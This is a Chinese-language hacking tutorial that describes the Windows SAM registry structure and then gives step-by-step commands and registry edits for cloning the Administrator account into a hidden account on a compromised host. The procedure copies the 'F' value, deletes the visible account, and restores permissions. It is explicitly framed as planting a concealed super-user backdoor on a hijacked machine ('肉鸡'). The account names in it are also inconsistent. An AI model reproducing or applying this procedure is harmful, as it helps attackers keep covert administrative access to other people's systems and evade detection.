手工建立超级隐藏用户

2K中的regedit.exe和regedt32.exe
XP中的regedit.exe和regedt32.exe
win2003中的regedit.exe和regedt32.exe
都 有两个注册表编辑器,实为一个程序。对regedit.exe我想大家都应该很熟悉的啦,但却不能对注册表的项键设置权限,而regedt32.exe最 大的优点就是能够对注册表的项键设置权限。nt/2000/xp/2003的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM 键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息。

下面介绍一下这个sam
SAM(Security Accounts Manager 安全帐户管理器)负责SAM数据库的控制和维护。SAM数据库位于注册表HKLM\SAM\SAM下,受到ACL保护,可以使用regedt32.exe 打开注册表编辑器并设置适当权限查看SAM中的内容。SAM数据库在磁盘上就保存在%systemroot%system32\config\目录下的 sam文件中,在这个目录下还包括一个security文件,是安全数据库的内容,听高手说两者有不少关系。SAM数据库中包含所有组、帐户的信息,包括 密码HASH、帐户的SID等。现以我分析的系统—中文Win2003 Server为例。
首先用regedt32.exe(2003用regedit也一样)对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。展开注册表HKEY_LOCAL_MACHINE_SAM:
|—- SAM
|—-Domains
| |—-Account
| | |—- Aliaese
| | | |—- 000003E8
| | | |—-000003EA
| | | |—-000003EA
| | | |—- Members
| | | | |—-S-1-5
| | | | | |—-000003EA
| | | | | |—-00000013
| | | | | |—-00000013
| | | | |—-S-1-5-21-3179286488-61192537-2235348617
| | | | |—-000003E9
| | | | |—-000003ED
| | | |—-Name
| | | |—-HelpServicesGroup
| | | |—-IIS_WPG
| | | |—-TelnetClients
| | |—-Grpup
| | | |—-00000201
| | | |—-Name
| | | |—-None
| | |—-Users
| | |—-000001F4
| | |—-000001F5
| | |—-000003E9
| | |—-000003EC
| | |—-000003ED
| | |—-Names
| | |—-Net2k$
| | |—-Guest
| | |—-IUSR_NET2K-KAXXY6SZ3
| | |—-IWAM_NET2K-KAXXY6SZ3
| | |—-SUPPORT_388945a0
| |—-Builtin
| |—-Aliases
| | |—-00000220
| | |—-00000221
| | |—-00000222
| | |—-00000223
| | |—-00000226
| | |—-00000227
| | |—-00000228
| | |—-0000022B
| | |—-0000022C
| | |—-0000022E
| | |—-0000022F
| | |—-Members
| | | |—-S-1-5
| | | | |—-00000004
| | | | |—-0000000B
| | | | |—-00000014
| | | |—-S-1-5-21-3179286488-61192537-2235348617
| | | |—-000001F4
| | | |—-000001F5
| | | |—-000003EC
| | |—-Names
| | |—-Administrators
| | |—-Backup Operators
| | |—-Guests
| | |—-Network Configuration Operators
| | |—-Performance Log Users
| | |—-Performance Monitor Users
| | |—-Power Users
| | |—-Print Operators
| | |—-Remote Desktop Users
| | |—-Replicator
| | |—-Users
| |—-Groups
| | |—Names
| |—-Users
| |—-Names
|—-RXACT
这 是我机器上注册表中SAM数据库的结构,SAM树。在整个数据库中,帐号主要内容存在于下面这些位置:在\Domains\下就是域(或本机)中的SAM 内容,其下有两个分支“Account”和“Builtin”。\Domains\Account是用户帐号内容。\Domains\Account \Users下就是各个帐号的信息。
其下的子键就是各个帐号的SID相对标志符。比如000001F4,每个帐号下面有两个子项,F和V。其 中\Names\下是用户帐号名,每个帐号名只有一个默认的子项,项中类型不是一般的注册表数据类型,而是指向标志这个帐号的SID最后一项(相对标识 符),比如其下的Administrator,类型为0x1F4,于是从前面的000001F4就对应着帐户名administrator的内容。如果我 们把某个帐号中的类型改为0x1F4,那么这个帐号将被指向类000001F4的帐户。而这个帐号000001F4就是administrator帐户, 这样,系统在登录过程中就把被修改的帐号完全转为了administrator帐号,经过修改的帐号所使用的所有内容、信息都是 adminisrtator内容,包括密码、权限、桌面、记录、访问时间等等,这就是达到了所谓的克隆超级管理员帐号的目的。由于本人水平所限,SAM数 据库的不再多作介绍了,想要了解更多的,可以自己去查找资料.下面主要是介绍如何实现,这个克隆并隐藏帐号的步骤了。
了解了这些,接下来的工作也就更容易去做了。
具体步聚如下:
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:
net2$,这里我在命令行下建立这个帐户,如下:

net user net2k$ 123456 /add

2、在“开始”→“运行”并输入”regedit.exe” 回车,启动注册表编辑器regedit.exe。
打开键:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\net2k$”
3、 将项net2$、000003F2、000001F4导出为kelong.reg、3f2.reg、admin.reg,用记事本分别把这几个导出的文件 进行编辑,将超级用户对应的项000001F4下的键”F”的值复制,并覆盖NET2K$对应的项000003F2下的键”F”的值,详细步骤、内容如 下:
项000001F4下的键”F”的内容:
“F”=hex:02,00,01,00,00,00,00,00,58,35,e6,ba,b7,85,c4,01,00,00,00,00,00,00,00,\
00,6a,09,b0,b2,6f,71,c4,01,00,00,00,00,00,00,00,00,32,47,ec,f7,5c,84,c4,01,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,86,00,01,00,00,00,00,\
00,00,00,00,00,00,00
帐号NET2K$对应的SID项000003F2下的键”F”的内容:
“F”=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,ce,21,90,ca,eb,85,c4,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
f2,03,00,00,01,02,00,00,10,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,\
00,00,00,00,00,5f,00
然后再将03F2.reg与kelong.reg合并后执行导入。
4、在命令行下执行net user net2k$ /del将用户net2k$删除:net user net2k$ /del
到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子。
注 意:隐藏的超级用户建好后,在帐户管理器看不到net2k$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密 码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,据说不能删除,我倒没试过。至于如何 在命令行下远程建立隐藏的超级用户,这里就不多说了,只要你dos命令好,手工克隆也完全不是问题,方法都一样,只是要讲究操作技巧了……

发表回复